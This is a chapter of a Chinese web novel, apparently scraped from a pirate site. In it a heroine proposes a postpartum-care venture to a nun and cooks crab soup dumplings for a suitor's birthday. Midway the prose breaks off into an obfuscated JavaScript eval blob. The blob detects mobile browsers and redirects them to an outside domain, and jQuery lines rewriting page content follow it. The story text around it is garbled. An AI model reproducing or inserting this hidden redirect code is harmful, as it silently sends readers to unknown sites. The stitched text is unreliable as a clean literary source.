秋意渐浓，天高云淡，枫染绯红。


    偶有几只鸟雀驻足，带落几片黄叶。


    马车骨碌碌行过林间小道。


    蹄声哒哒，向着天都南郊大孤山上的普觉寺驶去。


    青石板的尽头，是一株缀了累累红果的山楂。


    黄与红交错，叫灰白的山门无端亲切了起来。


    蓝锦越过勤勉扫叶的小师父，满布枯荷的小池，寻到了常乐师太的静心堂。


    “叨扰师太。”蓝锦双手合十，恭谨问礼。


    常乐慈眉善目：“施主无须多礼，且请入座。”


    炉间煮了清茶，没有如时兴那般，搁了葱姜橘枣，连吃带喝，只是乡间清茶而已。


    “自家使炭烘的茶饼，施主可还习惯？”


    蓝锦仔细抿过，笑着点头。


    茶不过品了几口，两人便进入了正题。


    “此前给师太的信里提到的生意，师太可曾拿定了主意？”


    蓝锦搁下茶盏，语气也像周遭的檀香一般柔缓。


    “施主希望与我普觉寺的比丘尼联手，开一间安养产妇与新生婴孩的静月坊，这本是积德行善的好事。只是......”


    常乐不能免俗地端详了一番面前的年轻女娘。


    这般年轻，只怕还是闺中扑蝶，不知世事的年岁。


    蓝锦笑眯眯地递与她一份蓝记的宣传册。


    上头详细写了三家酒楼的选址、客量，主推菜品的客人点评，甚至还有每月流水增速。


    “师太请看，我这三家酒楼，盈利逐月增加至少一成，若遇节庆，只有更多。”


    “师太鼓励寺里的师父们，游走于高门贵妇之间，讲经作文，刺绣医病。既造福信众，又能改善寺里的生活，我打心底里佩服。”


    “实不相瞒，蓝记确实是看上了普觉寺在天都贵妇间的口碑。不过，蓝记也是与您合作的大好人选。”


    常乐师太敛眉细思，也是出于一片真心：“往高门绣户行走，虽则师父们都问心无愧。可大张旗鼓地传到旁人耳中，只恐招来是非。”


    “小娘子身在闺阁，正值妙龄，还是不沾染为好啊。”


    蓝锦心下一片清明：“我知世人对‘三姑六婆’的污名。然君子自知，深宅女娘们因此身心愉悦，寺里经营也少了负担，如此还不够吗？”


    常乐念了句佛，还是摇头。


    蓝锦又拿出一份详尽的静月坊企划案，其上图文并茂，详述了三十日的安养流程。


    尤其是每日轮换的膳食，各不重样，还按照不同体质，分了备选套餐。


    这是蓝锦从上回生病时信口胡诌的病号餐里得到的启发。


    蓝锦娓娓道来：“各种职事的酬金，都写在上面了。蓝记名下的食店不需交税，我再额外给寺里两成利。”


    “先从天都贵人家的生意做起。若开得起来，每位产妇五十两银子。”


    “有了得利，再惠及贫家女娘。尤其是女婴，我还有个慈幼院，专为大公主的食饷司培养......”


    常乐师太还沉浸在蓝锦大言不惭的“五十两”里，久久不能平静。


    平民百姓，一月花用五百文，便能活得体体面面了！


    蓝锦注意到了师太的吃惊，只觉有戏，语调更是高昂：


    “静月坊不止提供衣食住行的服务，要力图让产妇有度假之感。”


    “我们还会继续培育专业的女医，陪护......既能为需要的女娘提供进项，又能纾解产妇的郁结，还能让人丁更康健......”


    百倍的差价又如何？


    现代的月子中心，一月要价二十万，都是基础档位。


    需求都是被制造出来的。


    蓝锦不仅要做静月坊，还要把静月坊做成天都名店。


    叫那些高门大家长们，都以送家中产妇来此安养，作为社交场上的地位象征。


    至于从这些富户手中赚来的钱嘛......


    啧啧，那用途可就多了。


    常乐师太坚决道：“小施主还是莫要沾染这些事了。若按照你的设想，这件事也不是一年半载能做成的。”


    蓝锦磨破了嘴皮子，仍旧不能说动师太一分一毫。


    她怏怏的，看着路边的蓬尾松鼠“咻”地一下蹿过，躲进落叶丛里不见动静。


    终究还是她太面嫩了吧！


    马车还未驶进朱雀大街，就迎面遇上了高头大马上的萧仁禹。


    他认出了蓝锦的马车，放缓马蹄，亦步亦趋地跟在车旁。


    “锦娘似有郁色？”


    “唉，别提了。”蓝锦以手支颐，斜倚窗棱，“我这不是在找别人替不了的活做嘛。碰上一位倔强的师太，无论如何也不愿跟我联手做生意。”


    萧仁禹颇感无奈。


    他提那句只是为了让她少忙些，谁知锦娘又在开疆拓土了。


    他心念一转，状似淡然地提议：“今日是我的生辰，锦娘可愿与我一同庆贺？”


    蓝锦笑眼亮闪闪的：“八月十五？之前都未曾听你提过。”


    倒是七夕那日，她的生辰，他又偷偷在自己枕边放了一个画匣。


    一幅少女春嬉图，正是上巳踏青那日的情状。


    “自然要的。哎，这下措手不及，我都没准备什么生辰礼。”


    “锦娘与我一起用饭谈心，就已经够了。”


    那也不能太简便。


    蓝锦风风火火地赶回蓝记。


    就是这么巧，蟹来了！


    心心念念的大闸蟹，顶盖的黄已是质硬味浓。


    即便是在现代，也是普通人家的餐桌上，极奢侈的食材了。


    秋日里，许多人千里迢迢奔赴最负盛名的养蟹湖。


    专门去寻农家养蟹人的家常小馆子，甚至跟着船去湖中心吃。


    结果——客人前脚下了车，螃蟹后脚才从冷鲜箱里下了水。


    洗澡蟹的名声闹得众说纷纭，沸沸扬扬，依然挡不住食客前赴后继的热情。


    大闸蟹的美味可见一斑。


    如今可没有那些虚头八脑的。


    蓝记自养自烹，保准能吃上腮白黄满，最最顶级的大闸蟹。


    气宇轩昂的大螃蟹个个鲜活，张牙舞爪，精气神十足。


    已经分门别类地归置好，按重量细分。


    无论公母，二两以上的只做清蒸。


    叫寿星满手腥气地剥螃蟹，未免太过不体面。


    蓝锦把螃蟹蒸上，拆了蟹粉、蟹膏、蟹肉备用，做蟹黄汤包。


    厨灶间，伙计们有条不紊地挪动着蒸笼蒸锅。


    拆蟹刮肉一条龙，好不热闹。


    香气一路打着旋儿飘远，勾起酒楼外无数人驻足。


    专


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631921|171016||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    做白案的师傅们，手下生风，不一会儿就把柔软的面团收拾妥当。


    放了蛋清和碱水的面团，微微发黄，口感更筋韧弹牙。


    猪背上的好皮，洗刮干净。


    使小镊子耐心地揪掉最后的杂毛，这是蓝锦教徒的标准。


    猪皮焯水煮烂，加入文火慢炖的高汤。


    汤是使猪筒骨和老母鸡吊的，全天火不间断。


    加入虾子油，味极鲜和去腥增香的葱姜，将猪皮汤的鲜美拔高一阶。


    搁到成冻。裹进汤包里，蒸好了就是水汪汪的肉汁。


    蟹无姜不鲜。


    把海量姜汁，配上透亮的豆油，在热锅里“嗞拉嗞拉”地烧起来，放入拆好的蟹粉、蟹黄慢熬。


    蟹黄汤包讲究现包现吃。


    厨房里的组合，无一不是一人和馅，一人擀剂，一人手指翻飞地包包子。


    皮薄馅大，一大坨肉馅塞了满手。


    手似蝶飞，褶子方正漂亮，卖相满分。


    锅中的热气翻涌蒸腾，一笼笼大包架上锅去。


    只消一会，蟹香扑鼻。


    蓝锦端下专给萧仁禹做的那份。


    碗口大的包子，在蒸笼里晃悠不住。


    简直要突破了一层薄衣，喷涌而出。


    使高脚白碟装着，拿芦苇细管一戳破——


    金黄的蟹油裹着蟹膏，夹缠着雪白的蟹肉，夺命狂奔。


    蓝锦俏皮道：“这个要先开窗，后喝汤，最后一扫光。”


    当着萧仁禹的面，把放在蟹黄汤包凑到嘴边。


    一小口咬破它的皮，轻轻啜饮一口。


    汤鲜味美，荤香油润，蟹味丰盈，唇齿留香。


    蓝锦满意至极：“如此才不辜负风物，叫这些大自然的馈赠走得不冤。”


    萧仁禹叫她逗得直笑。


    蓝锦惬意地畅想道：“河里的蟹，这个算顶级。海里还有用来吃肉的蟹，不拘大小。”


    “炸了裹上面包糠，是一种叫‘避风塘’的做法。”


    “还有鲜红的，外头一层裹着蛋花的酸辣芡汁，是南洋风味的辣椒蟹......”


    金灿灿，黄澄澄，红艳艳的......


    光是想一想就要流口水。


    “哎，也不知清珩何日归家，能不能找到这些好吃的带回来。”


    萧仁禹全程含笑听着。


    锦娘一定见识广博。


    他轻问道：“为何上次，锦娘要问我称呼的事？”


    蓝锦愣了一愣，这才想起。吐吐舌头：“许是我自己吓唬自己吧。”


    “是我没能让锦娘安心。”


    萧仁禹搁下筷子，正色道：“我在很小的时候，就知道自己有一桩口头婚约。虽然两家交好，可我心中一直不喜。”


    “先是排斥莫名的责任，后来又觉是阻我从军的负担。我竟想过，凭什么不是落到兄长头上。我们从未谋面，未换姓字，就只因为年纪相仿吗？”


    “后来发生了许多事，锦娘你也知晓......”


    弃武从文，孤女流落......


    蓝锦也默然，怜惜与涌动交织。


    以及不可否认，她有一种冒名顶替的羞惭。


    “事情太多，我可能是想着，你的感情也比较复杂......”


    “锦娘，我还不至于看不清。”